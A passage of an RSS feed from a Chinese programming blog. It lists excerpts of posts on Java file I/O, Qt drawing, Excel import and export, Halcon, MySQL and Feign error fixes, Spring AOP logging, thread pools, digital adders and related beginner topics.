      <link>https://bchobby.github.io/posts/d2db597ace5b83c616558130d92ef6a5/</link>
      <pubDate>Sat, 08 Jul 2023 23:29:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2db597ace5b83c616558130d92ef6a5/</guid>
      <description>文章目录 认识文件文件夹文件路径文件分类 文件操作File类构造方法常用方法 字节流IOInputStream常用方法 FileInputStream构造方法FileInputStream实例 OutputStream方法 FileOutputStream 字符流IO 认识文件 我们平时所说的文件指的是存在硬盘上的文件，我们平时的重要数据内容都以文件的方式来存储，我们平时书写的Java代码实际上是操作内存的一种方式，通过在内存上申请空间去执行操作。&#xA;我们接下来学习通过对文件以及IO接口的操作来实现对硬盘的操作，他能更直接的操作我们平时用到的数据文件，无论在我们的工作还是在我们的学习中，这都是不可或缺的。&#xA;文件夹 我们通俗的将目录文件称为文件夹，文件如同数据一般，我们计算机也通过管理数据的方式来管理文件&#xA;可以看到，计算机是通过树状结构来管理文件目录&#xA;文件路径 我们所说的路径就是找到文件途经的目录组成的，根据树状结构，我们知道找到一个文件就是从根开始，一路沿着树杈走下去所经过的目录，Windows系统都是通过此电脑起手的，所以我们通常省略此电脑&#xA;绝对路径：指的是一个具体的路径,以盘符开头的。比如：C:\Program Files\Java\text相对路径：指的是从给定目录出发寻找文件（.开头）。比如：.\text&#xA;注：Windows上文件与路径一一对应 文件分类 文件通常被分为文本文件与二进制文件&#xA;文本文件：存储的是字符二进制文件：存储二进制数据&#xA;我们可以通过记事本1打开，出现乱码则是二进制文件 文件操作 主要指通过文件资源管理器能够完成的一些功能，在Java中提供了File类，通过这个类来完成一系列操作，下面我们进入正题。&#xA;File类 File类存在java.io包中&#xA;构造方法 File(String pathname) //根据文件路径创建一个新的File 实例 注：此处的文件可以不存在，只要目录可以找到，调用createNewFile()就可以创建该文件&#xA;常用方法 修饰符及返回值类型方法签名说明StringgetParent()返回 FileStringgetName()返回 FIle 对象的纯文件名称StringgetPath()返回 File 对象的文件路径StringgetAbsolutePath()返回 File 对象的绝对路径StringgetCanonicalPath()返回 File 对象的修饰过的绝对路径booleanexists()判断 File 对象描述的文件是否真实存在booleanisDirectory()判断 File 对象代表的文件是否是一个目录booleanisFile()判断 File 对象代表的文件是否是一个普通文件booleancreateNewFile()根据 File 对象，自动创建一个空文件。成功创建后返回 truebooleandelete()根据 File 对象，删除该文件。成功删除后返回 truevoiddeleteOnExit()根据 File 对象，标注文件将被删除，删除动作会到JVM 运行结束时才会进行String[]list()返回 File 对象代表的目录下的所有文件名File[]listFiles()返回 File 对象代表的目录下的所有文件，以 File 对象表示booleanmkdir()创建 File 对象代表的目录booleanmkdirs()创建 File 对象代表的目录，如果必要，会创建中间目录booleanrenameTo(Filedest)进行文件改名，也可以视为我们平时的剪切、粘贴操作booleancanRead()判断用户是否对文件有可读权限booleancanWrite()判断用户是否对文件有可写权限 以上操作都较为简单，只需注意在IDEA的工作目录是当前项目所在的目录.</description>
    </item>
    <item>
      <title>试用蓝奏云盘分享代码笔记及demo效果</title>
      <link>https://bchobby.github.io/posts/72f8517ab554ac26965ea77f9552b1a6/</link>
      <pubDate>Sat, 08 Jul 2023 23:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72f8517ab554ac26965ea77f9552b1a6/</guid>
      <description>蓝奏盘的下载速度很快，而且可以在浏览器下载，这点很不错。&#xA;这里就把以前用QPainter绘制螺线的Qt代码，Qt的是PC端的，Android上以前也画过螺旋线，编译成的apk放在蓝奏盘上。&#xA;我用蓝奏浏览器分享了[qtcurve], 下载链接:&#xA;https://wwp.lanzoup.com/i8CT111p3dqf&#xA;提取码 : 4iir, 你可以不限速下载哦！&#xA;代码&#xA;#include &amp;lt;QApplication&amp;gt; #include &amp;lt;QLabel&amp;gt; #include &amp;lt;QWidget&amp;gt; #include &amp;lt;QPainter&amp;gt; #define _USE_MATH_DEFINES #include &amp;lt;math.h&amp;gt; int w=640; int h=480; struct vec2d { double x; double y; }; vec2d rsi2xy(double r, double si) { vec2d p; double s=si *M_PI/180.0; p.x = r*cos(s); p.y = r*sin(s); return p; } double agmd(double si) { return 80.0+0.1*si; } class GrphWidget : public QWidget { //Q_OBJECT public: GrphWidget(QWidget *parent = 0): QWidget(parent) { } ~GrphWidget() {} void paintEvent(QPaintEvent* event) { int w =this-&amp;gt;width(); int h = this-&amp;gt;height(); QPainter p(this); p.</description>
    </item>
    <item>
      <title>java的EXcel模板的下载、导入和导出</title>
      <link>https://bchobby.github.io/posts/6e2f1734e58e0f9600c183e19f991547/</link>
      <pubDate>Sat, 08 Jul 2023 21:12:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e2f1734e58e0f9600c183e19f991547/</guid>
      <description>声明：本文章仅基于个人粗略整理总结，如有不足之处，欢迎指出。&#xA;基于ssm+layui开发，所需jar包&#xA;&amp;lt;!-- poi3.9：导出excel --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 1、下载Excel模板&#xA;前端：&#xA;&amp;lt;div class=&#34;layui-form-item&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;form action=&#34;https://bchobby.github.io/device/downloadExcel&#34; method=&#34;get&#34;&amp;gt; &amp;lt;div class=&#34;layui-form-item&#34;&amp;gt; &amp;lt;label class=&#34;layui-form-label&#34;&amp;gt;下载模板:&amp;lt;/label&amp;gt; &amp;lt;div class=&#34;layui-input-inline&#34;&amp;gt; &amp;lt;input class=&#34;layui-btn &#34; type=&#34;submit&#34; value=&#34;下载模板&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;label class=&#34;layui-form-label&#34;&amp;gt;&amp;lt;/label&amp;gt; &amp;lt;!-- --&amp;gt; &amp;lt;form class=&#34;layui-form&#34; method=&#34;POST&#34; enctype=&#34;multipart/form-data&#34; id=&#34;form1&#34; action=&#34;${ctx}/device/uploadExcel&#34;&amp;gt; &amp;lt;div class=&#34;layui-form-item&#34;&amp;gt; &amp;lt;label class=&#34;layui-form-label&#34;&amp;gt;上传文件:&amp;lt;/label&amp;gt; &amp;lt;div class=&#34;layui-input-inline&#34;&amp;gt; &amp;lt;input id=&#34;upfile&#34; type=&#34;file&#34; name=&#34;upfile&#34; calss=&#34;layui-btn&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;layui-form-item&#34;&amp;gt; &amp;lt;label class=&#34;layui-form-label&#34;&amp;gt; &amp;lt;/label&amp;gt; &amp;lt;div class=&#34;layui-input-inline&#34;&amp;gt; &amp;lt;input class=&#34;layui-btn &#34; type=&#34;submit&#34; value=&#34;</description>
    </item>
    <item>
      <title>halcon基础案例&#43;算子学习（二）</title>
      <link>https://bchobby.github.io/posts/b86573726bdbb2c70722bf41d7628446/</link>
      <pubDate>Sat, 08 Jul 2023 20:09:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b86573726bdbb2c70722bf41d7628446/</guid>
      <description>halcon算子学习 1.对区域进行交集、补集、反选、合并2.对区域进行填充3.对区域进行筛选4.画各种交互的ROI（用鼠标画图形）5.计算程序时间6.将图像转换为数组7.自适应窗口8.彩色图转灰度图9.彩色图之间的转换10.区域生长法，填充区域之间的GAP获分割重叠区域11.在图像上书写文字12.图像分割之地形学13.图像阈值分割（自动、二值化、文字、相减）13.图像阈值分割（局部阈值和固定阈值）14.文本文件的读写15.文件夹相关操作16.形态学膨胀、腐蚀、开运算、闭运算 1.对区域进行交集、补集、反选、合并 1.1对所选区域进行取反&#xA;*创建一个窗口 dev_open_window (0, 0, 512, 512, &#39;black&#39;, WindowHandle) *画圆（输出、圆点坐标、半径） gen_circle (Cricle1, 224.5, 250.5, 131.727) *清除窗口 dev_clear_window () *取反操作 complement (Cricle1, RegionComplement) 1.2 计算区域1相对于区域2不同&#xA;dev_open_window (0, 0, 512, 512, &#39;black&#39;, WindowHandle) gen_circle (Cricle1, 122.5, 126.5, 69.7711) gen_circle (Cricle2, 184.5, 179.5, 73.9256) *计算Cricle1相对于Cricle2的不同 difference (Cricle1, Cricle2, RegionDifference) dev_clear_window () dev_display (RegionDifference) 1.3计算两个区域的不同&#xA;dev_open_window (0, 0, 512, 512, &#39;black&#39;, WindowHandle) gen_circle (Cricle1, 114.5, 127.5, 89.3588) gen_circle (Cricle2, 163.5, 171.</description>
    </item>
    <item>
      <title>SequelizeConnectionRefusedError: connect ECONNREFUSED ::1:3306 MYSQL连接问题</title>
      <link>https://bchobby.github.io/posts/e1b510d2d55baa8e46489062d6d845db/</link>
      <pubDate>Sat, 08 Jul 2023 19:23:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1b510d2d55baa8e46489062d6d845db/</guid>
      <description>今天使用Node连接Mysql时出现了这个报错，网上查了一下没有出现过相似报错的，所以解决方法在这里讲一下&#xA;const Sequelize=require(&#39;sequelize&#39;) const sequelize=new Sequelize(&#39;user&#39;,&#39;root&#39;,&#39;&#39;,{ host:&#39;localhost&#39;, dialect:&#39;mysql&#39;, port:3306 }) 出现问题的 ::1:3306 ，而正确的信息 ::1位置应该是localhost的字段，所以是电脑把localhost解析成了 ::1。&#xA;所以问题归纳成了 localhost解析成了::1的问题，网上查了相关资料，是因为windows10中IPv6优先级设置高于IPv4，我们在命令行中输入以下命令，把优先级更改即可解决这个问题&#xA;netsh int ipv6 set prefix ::/96 50 0&#xA;netsh int ipv6 set prefix ::ffff:0:0/96 40 1&#xA;netsh int ipv6 set prefix 2002::/16 35 2&#xA;netsh int ipv6 set prefix 2001::/32 30 3&#xA;netsh int ipv6 set prefix ::1/128 10 4&#xA;netsh int ipv6 set prefix ::/0 5 5&#xA;netsh int ipv6 set prefix fc00::/7 3 13</description>
    </item>
    <item>
      <title>微服务Feign调用报错：Body parameter 0 was null at feign.Util.checkArgument</title>
      <link>https://bchobby.github.io/posts/34cadb67537bb020d6aaa59e868925ba/</link>
      <pubDate>Sat, 08 Jul 2023 17:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34cadb67537bb020d6aaa59e868925ba/</guid>
      <description>报错详细内容如下：&#xA;java.lang.IllegalArgumentException: Body parameter 0 was null at feign.Util.checkArgument(Util.java:96) at feign.ReflectiveFeign$BuildEncodedTemplateFromArgs.resolve(ReflectiveFeign.java:388) at feign.ReflectiveFeign$BuildTemplateByResolvingArgs.create(ReflectiveFeign.java:232) at feign.SynchronousMethodHandler.invoke(SynchronousMethodHandler.java:84) at feign.ReflectiveFeign$FeignInvocationHandler.invoke(ReflectiveFeign.java:100) at com.sun.proxy.$Proxy112.getVideoLoginParamByDeviceId(Unknown Source) at com.test.controller.DeviceController.getToken(DeviceController.java:50) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) at ... 报错原因分析：&#xA;微服务使用feign进行跨服务调用时导致，报错原因分析就是少参数了。A服务通过feign调用B服务，B服务需要传一个参数，但是A服务调用时却报错参数是空的！代码如下，A服务实际是传参了，但是系统没有识别到参数&#xA;A服务FeignService代码：&#xA;@FeignClient(&#34;server-b&#34;) public interface BFeignService { @GetMapping(&#34;/bApi/device/getDeviceById&#34;) Map&amp;lt;String,Object&amp;gt; getDeviceById(String deviceId); } B服务Controller代码：&#xA;@RestController(&#34;device&#34;) public interface DeviceController { @GetMapping(&#34;/getDeviceById&#34;) public Map&amp;lt;String, Object&amp;gt; getDeviceById(String deviceId){ Map&amp;lt;String,Object&amp;gt; param = new HashMap&amp;lt;&amp;gt;(); //代码略 return param; } } 报错解决：</description>
    </item>
    <item>
      <title>ubunntu无法播放视频</title>
      <link>https://bchobby.github.io/posts/76cb48ffcdeb7fe1d2fbe6afb84fe9ee/</link>
      <pubDate>Sat, 08 Jul 2023 17:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76cb48ffcdeb7fe1d2fbe6afb84fe9ee/</guid>
      <description>两步解决一切 第一步：&#xA;sudo apt-get install ffmpeg 第二步：&#xA;sudo apt-get install flashplugin-installer 重启系统即可</description>
    </item>
    <item>
      <title>过平面三点求圆的圆心和半径</title>
      <link>https://bchobby.github.io/posts/17bc0396841e759af58a98ecfe1ce7c7/</link>
      <pubDate>Sat, 08 Jul 2023 15:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17bc0396841e759af58a98ecfe1ce7c7/</guid>
      <description>设平面三点v0,v1,v2 求过三点的圆的圆心c?&#xA;解：&#xA;由圆的方程&#xA;( x − x c ) 2 + ( y − y c ) 2 = r 2 (x-x_c)^2+(y-y_c)^2=r^2 (x−xc​)2+(y−yc​)2=r2 (1)&#xA;将三点代入（1）得到：&#xA;( x 0 − x c ) 2 + ( y 0 − y c ) 2 = r 2 (x_0-x_c)^2+(y_0-y_c)^2=r^2 (x0​−xc​)2+(y0​−yc​)2=r2 (2)&#xA;( x 1 − x c ) 2 + ( y 1 − y c ) 2 = r 2 (x_1-x_c)^2+(y_1-y_c)^2=r^2 (x1​−xc​)2+(y1​−yc​)2=r2 (3)</description>
    </item>
    <item>
      <title>程序员必须掌握的600个英语单词</title>
      <link>https://bchobby.github.io/posts/9b8ee08d2ace04d53ea4ca72a1064c28/</link>
      <pubDate>Sat, 08 Jul 2023 15:37:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b8ee08d2ace04d53ea4ca72a1064c28/</guid>
      <description>application 应用程式 应用、应用程序&#xA;application framework 应用程式框架、应用框架 应用程序框架&#xA;architecture 架构、系统架构 体系结构&#xA;argument 引数（传给函式的值）。叁见 parameter 叁数、实质叁数、实叁、自变量&#xA;array 阵列 数组&#xA;arrow operator arrow（箭头）运算子 箭头操作符&#xA;assembly 装配件&#xA;assembly language 组合语言 汇编语言&#xA;assert(ion) 断言&#xA;assign 指派、指定、设值、赋值 赋值&#xA;assignment 指派、指定 赋值、分配&#xA;assignment operator 指派（赋值）运算子 = 赋值操作符&#xA;associated 相应的、相关的 相关的、关联、相应的&#xA;associative Container 关联式容器（对应 sequential container） 关联式容器&#xA;atomic 不可分割的 原子的&#xA;attribute 属性 属性、特性&#xA;audio 音讯 音频&#xA;A.I. 人工智慧 人工智能&#xA;background 背景 背景（用於图形着色）&#xA;后台（用於行程）&#xA;backward compatible 回溯相容 向下兼容</description>
    </item>
    <item>
      <title>ncm格式如何转换为mp3，分享几个方法！</title>
      <link>https://bchobby.github.io/posts/47a2480a65d69c0018eb96c96d465caf/</link>
      <pubDate>Sat, 08 Jul 2023 15:19:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47a2480a65d69c0018eb96c96d465caf/</guid>
      <description>你是否曾在网易云音乐上下载了一些NCM格式的音频文件，但发现无法在其他设备上播放？别担心，记灵在线工具可以帮助你将这些NCM格式转换为常见的MP3格式。今天小编就来分享三种方法，教你如何搞定！&#xA;方法一：曲线转换法 首先找到需要转换的的NCM相同歌曲的视频文件，再把视频文件转换成MP3文件，因为大多数的音乐都只有音频是加密的MCN文件，而MV大多数都可以直接免费下载，这个方法适合于大多数的NCM。但是在步骤上相对复制一下。视频转换MP3的步骤如下：&#xA;打开记灵在线工具的官方网页;找到并选择MP3转换器功能；点击“添加文件”按钮，上传NCM格式的音频文件；点击“确认转换”按钮，等待转换完成；完成后，你将获得转换后的MP3格式音频文件，可以进行下载保存或分享使用。 方法二：在线转换网站 在线转换网站是另一种方便快捷的方法，可以将NCM格式转换为MP3格式。以下是简单的操作步骤：&#xA;打开浏览器，搜索并进入一个可靠的在线音频转换网站；在网站上找到音频转换功能；选择上传NCM格式的音频文件；在转换设置中，选择目标格式为MP3；启动转换并等待完成；完成后，网站将提供下载链接，你可以点击下载转换后的MP3音频文件。 方法三：本地转换软件 如果你更喜欢在本地计算机上进行音频格式转换，可以考虑使用本地转换软件，例如音频转换器。以下是简单的操作步骤：&#xA;在计算机上下载并安装一款支持音频转换的软件，例如音频转换器；打开软件并选择音频转换功能；添加NCM格式的音频文件到转换列表；设置输出格式为MP3；开始转换并等待完成；转换后的MP3音频文件将保存在指定的输出目录中。 以上就是三种将NCM格式转换为MP3格式的方法。无论你选择记灵在线工具、在线转换网站还是本地转换软件，都能轻松解决问题。现在就快试试看吧！记灵在线工具将帮助你快速完成转换，让你在各种设备上畅享音频文件。</description>
    </item>
    <item>
      <title>SpringBoot应用中使用AOP记录接口访问日志</title>
      <link>https://bchobby.github.io/posts/ed5deb66362be7d93f1695cfda944f3b/</link>
      <pubDate>Sat, 08 Jul 2023 14:27:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed5deb66362be7d93f1695cfda944f3b/</guid>
      <description>AOP&#xA;AOP为Aspect Oriented Programming的缩写，意为：面向切面编程，通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术。利用AOP可以对业务逻辑的各个部分进行隔离，从而使得业务逻辑各部分之间的耦合度降低，提高程序的可重用性，同时提高了开发的效率。&#xA;AOP的相关术语&#xA;#通知（Advice）&#xA;通知描述了切面要完成的工作以及何时执行。比如我们的日志切面需要记录每个接口调用时长，就需要在接口调用前后分别记录当前时间，再取差值。&#xA;前置通知（Before）：在目标方法调用前调用通知功能；&#xA;后置通知（After）：在目标方法调用之后调用通知功能，不关心方法的返回结果；&#xA;返回通知（AfterReturning）：在目标方法成功执行之后调用通知功能；&#xA;异常通知（AfterThrowing）：在目标方法抛出异常后调用通知功能；&#xA;环绕通知（Around）：通知包裹了目标方法，在目标方法调用之前和之后执行自定义的行为。&#xA;连接点（JoinPoint）&#xA;通知功能被应用的时机。比如接口方法被调用的时候就是日志切面的连接点。&#xA;#切点（Pointcut）&#xA;切点定义了通知功能被应用的范围。比如日志切面的应用范围就是所有接口，即所有controller层的接口方法。&#xA;#切面（Aspect）&#xA;切面是通知和切点的结合，定义了何时、何地应用通知功能。&#xA;#引入（Introduction）&#xA;在无需修改现有类的情况下，向现有的类添加新方法或属性。&#xA;#织入（Weaving）&#xA;把切面应用到目标对象并创建新的代理对象的过程。&#xA;Spring中使用注解创建切面&#xA;#相关注解&#xA;@Aspect：用于定义切面&#xA;@Before：通知方法会在目标方法调用之前执行&#xA;@After：通知方法会在目标方法返回或抛出异常后执行&#xA;@AfterReturning：通知方法会在目标方法返回后执行&#xA;@AfterThrowing：通知方法会在目标方法抛出异常后执行&#xA;@Around：通知方法会将目标方法封装起来&#xA;@Pointcut：定义切点表达式&#xA;#切点表达式&#xA;指定了通知被应用的范围，表达式格式：&#xA;execution(方法修饰符 返回类型 方法所属的包.类名.方法名称(方法参数) //com.macro.mall.tiny.controller包中所有类的public方法都应用切面里的通知 execution(public * com.skylark.mark.tiny.controller.*.*(..)) //com.macro.mall.tiny.service包及其子包下所有类中的所有方法都应用切面里的通知 execution(* com.skylark.mark.tiny.service..*.*(..)) //com.macro.mall.tiny.service.PmsBrandService类中的所有方法都应用切面里的通知 execution(* com.skylark.mark.tiny.service.PmsBrandService.*(..)) 添加AOP切面实现接口日志记录&#xA;#添加日志信息封装类WebLog&#xA;用于封装需要记录的日志信息，包括操作的描述、时间、消耗时间、url、请求参数和返回结果等信息。&#xA;/** * Controller层的日志封装类 * Created by macro on 2018/4/26. */ public class WebLog { /** * 操作描述 */ private String description; /** * 操作用户 */ private String username; /** * 操作时间 */ private Long startTime; /** * 消耗时间 */ private Integer spendTime; /** * 根路径 */ private String basePath; /** * URI */ private String uri; /** * URL */ private String url; /** * 请求类型 */ private String method; /** * IP地址 */ private String ip; /** * 请求参数 */ private Object parameter; /** * 请求返回的结果 */ private Object result; //省略了getter,setter方法 } 添加切面类WebLogAspect</description>
    </item>
    <item>
      <title>数字电路设计——加法器</title>
      <link>https://bchobby.github.io/posts/aebecd35afca95f5ecbab3b0ca61e468/</link>
      <pubDate>Sat, 08 Jul 2023 14:11:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aebecd35afca95f5ecbab3b0ca61e468/</guid>
      <description>数字电路设计——加法器 半加器 半加器只有两个一位宽的输入 a a a 和 b b b ，输出 a + b a+b a+b 所产生的本位和 s u m sum sum 和进位 c o u t cout cout。组合逻辑为：&#xA;S = A ⊕ B , C o u t = A B S = A \oplus B,Cout = AB S=A⊕B,Cout=AB&#xA;真值表和原理图符合为：&#xA;SystemVerilog实现代码：&#xA;module hadder ( input logic a, input logic b, output logic sum, output logic cout ); assign sum = a ^ b; assign cout = a &amp;amp; b; endmodule 全加器 加法器一般指全加器，半加器只能实现一位加法，而全加器才能真正实现多位加法，相较于半加器，全加器考虑了上一位的进位，因此全加器有三个输入分别是 a , b , c i n a,b,cin a,b,cin ，输出 a + b + c i n a+b+cin a+b+cin 所产生的本位和 s u m sum sum 和进位 c o u t cout cout。组合逻辑为：</description>
    </item>
    <item>
      <title>java异步-线程、线程池</title>
      <link>https://bchobby.github.io/posts/27bae10a017d311e1d46edc287d568f8/</link>
      <pubDate>Sat, 08 Jul 2023 11:59:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27bae10a017d311e1d46edc287d568f8/</guid>
      <description>1、java初始化线程的4种方式 继承Thread，重写run方法实现Runnable接口实现Callable接口 + FutureTask（可以获取线程返回接口，可以处理异常）线程池 无论是哪种方式，都需要使用new Thread来开启线程&#xA;2、4种实现案例 2.1、继承Thread方式 3、实现Runnable接口 2.2、实现Callable接口 实现Callable接口，指定泛型重写call方法在使用时，new FutureTask时传递callable实现类对象由于FutureTask底层使用的是runnable接口，因此new Thread对象，把FutureTask对象传入即可 当FutureTask对象需要获取线程的返回数据时：&#xA;线程阻塞等待的方式获取结果：与多线程初衷相违背 2.3、线程池 import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * @author 线程池使用 * @date 2023/7/7 */ public class ExecutorsPool { /** * 在java JUC下，提供了一个类Executors，快速创建一个线程池 * 下面创建一个固定数据为10的线程池 */ public static ExecutorService executors = Executors.newFixedThreadPool(10); //测试案例 public static void main(String[] args) { System.out.println(&#34;主方法..................开始执行&#34;); //executors.submit(new Runnable() { // @Override // public void run() { // // } //}) /** 下面是上面的lambda写法 */ executors.</description>
    </item>
    <item>
      <title>C&#43;&#43;循环结构设计——韩信点兵（转载）</title>
      <link>https://bchobby.github.io/posts/a067a184b73ce6ac62718b4bd577748c/</link>
      <pubDate>Sat, 08 Jul 2023 10:27:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a067a184b73ce6ac62718b4bd577748c/</guid>
      <description>转自：C++循环结构设计——韩信点兵_c++韩信点兵_LS_FIGHTING的博客-CSDN博客&#xA;韩信点兵(hanxin)&#xA;相传韩信才智过人，从不直接清点自己军队的人数，只要让士兵先后以三人一排、五人一排、七人一排地变换队形，而他每次只掠一眼队伍的排尾就知道总人数了。输入包含多组数据，每组数据包含3个整数a,b,c，表示每种队形排尾的人数(a&amp;lt;3,b&amp;lt;5,c&amp;lt;7)，输出总人数的最小值(或报告无解)。已知总人数不小于10，不超过100。输入到文件结束为止。&#xA;样例输入：&#xA;2 1 6&#xA;2 1 3&#xA;样例输出：&#xA;Case 1： 41&#xA;Case 2： No answer&#xA;方法一：已知总人数不小于10，不超过100，则在此范围内使用for循环依次检验总人数所排队型是否满足队尾人数。&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;using namespace std;&#xA;int main()&#xA;{&#xA;int sum=0,a,b,c;&#xA;int kcase=1;&#xA;while(scanf(&#34;%d%d%d&#34;,&amp;amp;a,&amp;amp;b,&amp;amp;c)==3)&#xA;{&#xA;for(sum=10;sum&amp;lt;=100;sum++)&#xA;{&#xA;if(sum%3==a&amp;amp;&amp;amp;sum%5==b&amp;amp;&amp;amp;sum%7==c)&#xA;{&#xA;printf(&#34;Case %d: %d\n&#34;,kcase++,sum);&#xA;break;&#xA;}&#xA;}&#xA;if(sum==101)&#xA;{&#xA;kcase++;&#xA;printf(&#34;No answer\n&#34;);&#xA;}&#xA;}&#xA;return 0;&#xA;}&#xA;方法二：中国剩余定理，又称为中国余数定理、孙子剩余定理，古有&#34;韩信点兵&#34;、&#34;孙子定理&#34;、&#34;鬼谷算&#34;、&#34;隔墙算&#34;、&#34;剪管术&#34;、&#34;秦王暗点兵&#34;、&#34;物不知数&#34;之名，是数论中的一个重要命题。&#xA;在中国古代著名数学著作《孙子算经》中，有一道题目叫做“物不知数”，原文如下：&#xA;有物不知其数，三三数之剩二，五五数之剩三，七七数之剩二。问物几何？&#xA;即，一个整数除以三余二，除以五余三，除以七余二，求这个整数。&#xA;中国数学家秦九韶于1247年做出了完整的解答，口诀如下：&#xA;三人同行七十希，五树梅花廿一支，七子团圆正半月，除百零五使得知&#xA;这个解法实际上是，首先利用秦九韶发明的大衍求一术求出&#xA;5和7的最小公倍数35的倍数中除以3余1的最小一个为70（这个称为35相对于3的数论倒数），&#xA;3和7的最小公倍数21（除以5余1）相对于5的数论倒数21，&#xA;3和5的最小公倍数15（除以7余1）相对于7的数论倒数15。&#xA;然后70×2+21×3+15×2=233，233便是可能的解之一。&#xA;它加减3、5、7的最小公倍数105的若干倍仍然是解，因此最小的解为233除以105的余数23。&#xA;附注：这个解法并非最简，因为实际上35就符合除3余2的特性，所以最小解是：35×1+21×3+15×2-3×5×7=128-105=23 最小解加上105(=3×5×7)的正整数倍都是解</description>
    </item>
    <item>
      <title>uniapp引入 vant</title>
      <link>https://bchobby.github.io/posts/4c9ff2629948598bac29b579a729019d/</link>
      <pubDate>Sat, 08 Jul 2023 09:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c9ff2629948598bac29b579a729019d/</guid>
      <description>这里写目录标题 引入方式1、下载vant源码2.创建 uniapp 项目,在根目录下新建 一个文件夹wxcomponents ，将下载好的压缩包中的 dist 文件夹放到 wxcomponents 里, 推荐将 dist 重命名为 vant,3.在根目录下App.vue中引入UI样式index.wxss，如下图4.在pages.json页面将vant的组件注册， 你可以选择在一个页面配置，但是只能在这个页面内使用，你也可以选择在globalStyle里面配置，是的所有页面都可以直接使用6、van-dialog使用方式 引入方式 1、下载vant源码 方式一：从 Vant 官网首页进入 GitHub下载对应版本的压缩包,将文件解压后备用,确保下载的压缩包里有dist 文件夹&#xA;方式二：通过npm install 方式引入 npm i @vant/weapp -S --production&#xA;2.创建 uniapp 项目,在根目录下新建 一个文件夹wxcomponents ，将下载好的压缩包中的 dist 文件夹放到 wxcomponents 里, 推荐将 dist 重命名为 vant, 3.在根目录下App.vue中引入UI样式index.wxss，如下图 @import &#34;/wxcomponents/vant/common/index.wxss&#34;; 4.在pages.json页面将vant的组件注册， 你可以选择在一个页面配置，但是只能在这个页面内使用，你也可以选择在globalStyle里面配置，是的所有页面都可以直接使用 &#34;globalStyle&#34;: { &#34;navigationBarTextStyle&#34;: &#34;white&#34;, &#34;navigationBarTitleText&#34;: &#34;智能充电宝配置程序&#34;, &#34;navigationBarBackgroundColor&#34;: &#34;#4D6FFD&#34;, &#34;backgroundColor&#34;: &#34;#F8F8F8&#34;, &#34;usingComponents&#34;: { &#34;van-button&#34;: &#34;/wxcomponents/vant/button/index&#34; } }, &#34;usingComponents&#34;: { &#34;van-action-sheet&#34;: &#34;/wxcomponents/vant/action-sheet/index&#34;, &#34;van-area&#34;: &#34;</description>
    </item>
    <item>
      <title>[SSM]MyBatis查询语句与动态SQL</title>
      <link>https://bchobby.github.io/posts/51be999fb1d6d8976e892eb1a1ee4d15/</link>
      <pubDate>Fri, 07 Jul 2023 22:28:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51be999fb1d6d8976e892eb1a1ee4d15/</guid>
      <description>目录&#xA;十、MyBatis查询语句专题&#xA;10.1返回Car&#xA;10.2返回List&#xA;10.3返回Map&#xA;10.4返回List&#xA;10.5返回Map,map&amp;gt;&#xA;10.6resultMap结果映射&#xA;使用resultMap进行结果映射&#xA;是否开启驼峰命名自动映射&#xA;10.7返回总记录条数&#xA;十一、动态SQL&#xA;11.1 if标签&#xA;11.2 where标签&#xA;11.3 trim标签&#xA;11.4 set标签&#xA;11.5choose when otherwise&#xA;11.6 foreach标签&#xA;批量删除&#xA;批量添加&#xA;11.7sql标签与include标签&#xA;十、MyBatis查询语句专题 10.1返回Car 当查询的结果有对应的实体类，并且查询结果只有一条时：&#xA;查询结果是一条的话可以使用List集合。&#xA;10.2返回List&amp;lt;Car&amp;gt; 当查询的记录条数是多条的时候，必须使用集合接收，如果使用单个实体类接收会出现异常。&#xA;10.3返回Map 当返回的数据没有合适的实体类对应的话，可以采用Map集合接收。字段名叫做key，字段值叫做value。查询如果可以保证只有一条数据，则返回一个Map集合即可。&#xA;CarMapper.selectByIdRetMap /** * 通过id查询⼀条记录，返回Map集合 * @param id * @return */ Map&amp;lt;String, Object&amp;gt; selectByIdRetMap(Long id); CarMapper.xml &amp;lt;select id=&#34;selectByIdRetMap&#34; resultType=&#34;map&#34;&amp;gt; select * from t_car where id = #{id} &amp;lt;/select&amp;gt; 